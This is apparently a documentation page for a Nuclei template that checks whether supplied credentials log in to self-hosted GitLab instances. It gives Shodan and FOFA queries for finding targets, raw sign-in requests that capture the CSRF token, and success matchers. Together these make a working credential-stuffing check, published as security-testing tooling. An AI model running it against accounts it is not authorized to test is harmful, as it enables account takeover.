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Nuclei Templates

Gitlab Login Check Self Hosted

ID: gitlab-login-check-self-hosted

Severity: critical

Author: parthmalhotra,pdresearch

Tags: creds-stuffing,login-check,self-hosted,gitlab

Description

Section titled “Description”

Checks for a valid login on self hosted GitLab instance.

YAML Source

Section titled “YAML Source”
id: gitlab-login-check-self-hosted


info:
  name: Gitlab Login Check Self Hosted
  author: parthmalhotra,pdresearch
  severity: critical
  description: Checks for a valid login on self hosted GitLab instance.
  reference:
    - https://owasp.org/www-community/attacks/Credential_stuffing
  metadata:
    max-request: 2
    shodan-query: product:"GitLab Self-Managed"
    fofa-query: product="GitLab"
  tags: creds-stuffing,login-check,self-hosted,gitlab
variables:
  username: "{{username}}"
  password: "{{password}}"


http:
  - raw:
      - |
        GET /users/sign_in HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /users/sign_in HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: max-age=0
        Origin: {{BaseURL}}
        DNT: 1
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/users/sign_in
        Accept-Language: en-US,en;q=0.9,de;q=0.8


        authenticity_token={{url_encode(authenticity_token)}}&user%5Blogin%5D={{username}}&user%5Bpassword%5D={{password}}&user%5Bremember_me%5D=0


    attack: pitchfork


    extractors:
      - type: regex
        part: body
        internal: true
        name: authenticity_token
        group: 1
        regex:
          - '"/users/sign_in".*?authenticity_token"\s+value="([^"]+)"'


      - type: dsl
        dsl:
          - username
          - password
    matchers:
      - type: dsl
        dsl:
          - status_code_2 == 302
          - '!contains(to_lower(body_2), "invalid login")'
        condition: and
# digest: 490a0046304402207cb3e8ce5b44ad4e1650be8abcfeca33b2c6b6b1a05006723f83c6dd68169027022026521d953b51580500b73a7e38244879e4f3ed02ec84eb50186537955a5e6aec:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/credential-stuffing/self-hosted/gitlab-login-check-self-hosted.yaml"

View on Github